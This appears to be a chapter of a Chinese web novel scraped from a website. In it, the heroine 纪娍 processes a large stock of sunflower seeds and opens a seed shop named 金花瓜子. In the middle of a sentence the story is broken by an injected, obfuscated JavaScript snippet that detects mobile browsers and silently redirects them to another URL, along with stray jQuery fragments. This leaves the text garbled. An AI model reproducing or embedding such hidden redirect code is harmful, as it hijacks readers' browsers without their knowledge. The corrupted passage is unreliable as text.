58. 金花瓜子

作品:《鹅黄上柳条

    除了这些银子,纪媤还在洒金街上给纪娍买下了一处铺子,这间铺子紧挨着纪家茶楼,位置很好,店面虽然不大,后院却十分宽敞,有四个现成的灶台还有一间大库房。


    “娍儿,我知道你有这禀赋和卓识也有这才略和胆魄。”纪媤无比欣赏她这位侄孙女,她自己经营纪家茶楼这么久了,就算是之前凭着定远府的好茶叶拉来了不少显宦望族,承办了不少雅集茶宴,别说是日均一千两的流水了,就是月均一千两的流水她也没见过。


    对纪媤来说,这几日茶楼生意这么好当然少不了那位东客公子的助力,可是想到这个办法的是纪娍,把东客公子找来的也是纪娍,是她这位侄孙女,若是要论功行赏,这功和赏她通通要算在自己的侄孙女头上……


    茶楼的伙计拿到奖金都非常开心,一位负责煮茶的妇人说她女儿马上要成亲了,她正好可以再给女儿添上一笔压箱底的钱,负责洒扫的老妇也说她拿了钱正好可以给家里的孙儿添上一件新棉衣……


    第二日一早,纪娍就来了茶楼,虽说伙计休息了,但是茶楼不能休息。


    靠着前几日的活动,茶楼的生意刚刚有了起色,正是该开门接客的时候,而且眼看着就要入冬了,她专门为冬天配置的几副花果茶也该上市了,姑祖母已经买好了花果茶里要用的山楂干和干桂花,她想着先把这两味分一些出来。


    “你怎么自己就来了?”李至赶到茶楼的时候,纪娍正坐在柜台后面分装山楂干:“我到你院子里去找你,她们都说你一大早就走了。”


    纪娍抬起头看了李至一眼:“你也忙着这么多天了,该休息休息。”


    “煮茶师傅今日不在,若是有客人来不是为了茶包,而是为了喝茶,你怎么办?”李至说着就径直去后院生火烧水了。


    “喝茶?”纪娍回过神之后,对着后院喊了一句:“我怎么就没想到这儿呢?”


    李至一边烧火一边嘟囔:“能想到就出奇了,只记得别人好几日没休息了,怎么不记得自己也好几日都没休息了呢?”


    “姑祖母今日午后要启程到外面去收干桑葚,到时候我去送送她,”纪娍边说着边起身来到李至的身边,交给他一把钥匙:“要是郑姑娘那边派人来送葵瓜子了,你记得让他们帮着搬到咱们的库房里去。”


    “等茶楼的伙计休息好了,咱就可以开始煮瓜子了,今儿已经来了好几位客人问我那日的小碟子装的是什么,哪里能买到?”


    “我同他们说,他们十一月份隔壁那间铺子就开张了,到时候那里能买到。”


    “娍儿,今年过年咱还回家么?”


    “你想回家?回太康府?”


    李至点了点头。


    纪娍想了一会儿,道:“那咱就回去,正好我也有些事儿要做。”


    “那……我们的生意怎么办?”李至记得纪娍之前同她说过,她那间店铺越是临近年关生意就越好,京城到太康府,骑着快马,一来一回也得一个月多。


    “郑姑娘送来那些葵瓜子虽然量大,但是我们只要卖完他们,就没什么其它事情了。”


    “只要想想办法,早些把它们卖掉就是了……”


    话是这么说的,可是当她送完纪媤回来,亲眼看见那些葵瓜子把新库房给堆满了的时候,纪娍就觉得自己还是把话说早了……


    “我问了车夫,说是有两千多斤。”李至不知所措地挠了挠后脑勺。


    “两千多斤……”纪娍看了看后院的四个灶台,若有所思道:“看来不能再加新的口味了……”


    现在她一共推出了四种口味,椒盐、红枣、菊花和绿茶,若是要制作更多的口味,就要投入更多的时间、人力和料钱,可眼下已经十月中旬了,先不说料钱和人力,就是时间她也没有许多了,不如就先把已经推出的这几种给做好……


    考虑到她和李至俩人根本就忙不过来,纪娍就觅了几个短工,三个帮着李至烧火,三个帮着她翻制、沥水、铺晒、装袋……


    一口大锅一次能制二十几斤瓜子,四个灶台四口大锅便是一百斤,这一百斤瓜子煮一个时辰再泡半个时辰就可以捞出来沥水,这样算来,每日至多能煮四百斤……


    煮好的瓜子都需要铺开晾晒三五日,虽说后院面积不小,可也铺不开两千斤瓜子,所以纪娍就等这一日煮制出来的瓜子全都晒干装袋之后才会开始让李至煮制新的。


    后院的石板路缝隙大,若是直接把瓜子铺在上面,日后不好归拢,于是纪娍就买了几张大席来铺在后院,把沥干水的瓜子铺在大席上面,铺平晒干,几个人提着大席四个角往中间一聚,瓜子自己就归拢了,这样用不了一日就能把煮制好铺晒干的四百斤瓜子装起来了。


    一日煮制,三五日铺晒,一日归拢装袋,再一日煮制,再三五日铺晒……


    这样几番下来,两千斤瓜子全都制好已经十一月下旬了,得亏今年下雪晚,要不然到十二月下旬他们也制不完……


    在后院煮制瓜子的同时,纪娍还找时间把前面的铺面给打扫干净了,买好了打包用的油纸和麻绳,还找人做好了招牌……


    “金花瓜子?”开业前一天,隋言意带着隋言朵来帮忙,他看着店铺招牌百思不得其解:“为何取这个名字?”


    “这里的人以往吃的瓜子都是长在西瓜、南瓜这些瓜肚子里的,而现在他们看见有长在花儿还是长在金花儿上面的瓜子肯定会好奇,一个顾客只要起了好奇心,那让他到我铺子里看一眼便是再简单不过的事情了。”


    “只让他们进铺子就够了?”


    “当然不是,”纪娍一脸得意地扶了扶额角:“还有个先决条件,只要进了我的铺子里,便没有一个人能空着手出去……”


    看着面前笑作一团的纪娍,隋言意不自觉地就咧起了嘴角,以往纪娍总是说他笑起来好看,总是让他要多笑一笑,可在他看来,这世上笑起来最好看的非纪娍莫属了。


    “祝纪老板生意兴隆通四海,财源茂盛达三江。”隋言意一边说一边拿起一包装好的瓜子放在手里掂了掂:“我应该是第一位顾客吧?”


    纪娍摇了摇头,而后指着不远处的隋言朵,道:“似乎那一位才是。”


    隋言意转头看去,只见隋言朵面前放着十几包瓜子,李至正拿着算盘在给她算账,见状,隋言意立刻从袖间拿出来一锭银子,“她还没付账呢,不算。”紧接着就把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259479|153270||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    银子塞到了纪娍的手里:“这下我便是你店里的第一位顾客了吧。”


    纪娍从他手中拿过那一包瓜子,看了看包装上的记号,头也不抬道:“这位客人,您买的是一斤装的椒盐瓜子,收您四钱银子,再找您四两六钱。”


    她把找好的零钱放在柜台上,然后从地上抱起一个箱子放在那些零钱的旁边,笑意盈盈道:“作为本店的第一位顾客,我再送您一份大礼。”


    隔着箱子,隋言意就闻到了熟悉的柑橘香,他惊讶道:“这些是你什么时候做的?”


    “闲着没事的时候。”


    隋言意看着她手上的伤疤,心道“你还能有闲着没事的时候”……


    “指挥使今日来怕不只是为了买包瓜子吧?”


    “你都知道了?”


    “郑姑娘来的时候都告诉我了……”


    前日,纪娍刚把最后一批铺晒好的瓜子送进库房,郑襄漪就来了。


    “郑姑娘,你怎么这个时候来了?”


    “我听说你的铺子快要开张了,就想着先过来看看。”郑襄漪摆了摆手,她身后的女使就走上前来给了纪娍一个小木匣。


    “这是?”


    “我今日来有两件事,一是为你送件贺礼,二是之前同你说的,我想给我两位祖母带些瓜子回去。”


    纪娍小心翼翼地把手里的木匣放在柜台上,到后院提过来了几个精美的食盒:“我早就准备好了,本想着明日给你送过去呢。”


    郑襄漪不好意思地笑了笑:“本是不急的,可我过些日子要同裴容川一起去趟太康府,”她顿了顿,又加上一句:“隋指挥使……也会一同前往。”


    “怕年前赶不回来,我便想着将给长辈们备下的年礼提前送去。”


    “送完年礼还得盯着下人收拾行囊,怕时间来不及,所以今日一得到消息我就来了。”


    纪娍想知道他们到太康府去做什么,但又不好直问郑襄漪,便笑了笑没说话。


    纪娍把几个食盒打开,里面全都是一包一包装好的瓜子,她拿起一包上面系了一段红绳的,给郑襄漪介绍道:“这个是红枣的,那个包装上面画着菊花的就是菊花味的,插着几片茶叶的就是绿茶味的,上面什么都没标记的便是椒盐味了。”


    “每种口味都是十包,每包里面有两斤。”


    “这东西用来解闷儿是不错,但是不能贪多,食多了容易上火,郑姑娘送去的时候要同她们多讲上几句。”


    郑襄漪让人把东西收了,笑着道:“放心吧,我到时候会交代的。”说罢,她便让人给纪娍付钱,纪娍死活都不肯收:“不如这样,若是郑姑娘明年春日还要种这向日葵……”


    “没问题,”郑襄漪手一挥,差点搭上纪娍的肩膀,她身后的嬷嬷见状立刻捂着嘴咳嗽了一声,郑襄漪赶忙把手收了回来:“明年秋日那葵瓜子我还全都给你送来。”


    郑襄漪离开后,纪娍打开那个小木匣看了看,里面是一支无比精巧的向日葵玉簪子……


    “头上那簪子是郑襄漪送你的?”


    “你别打岔,”纪娍看着隋言意的眼睛,正色道:“我且问你,你们这遭去太康府所为何事?”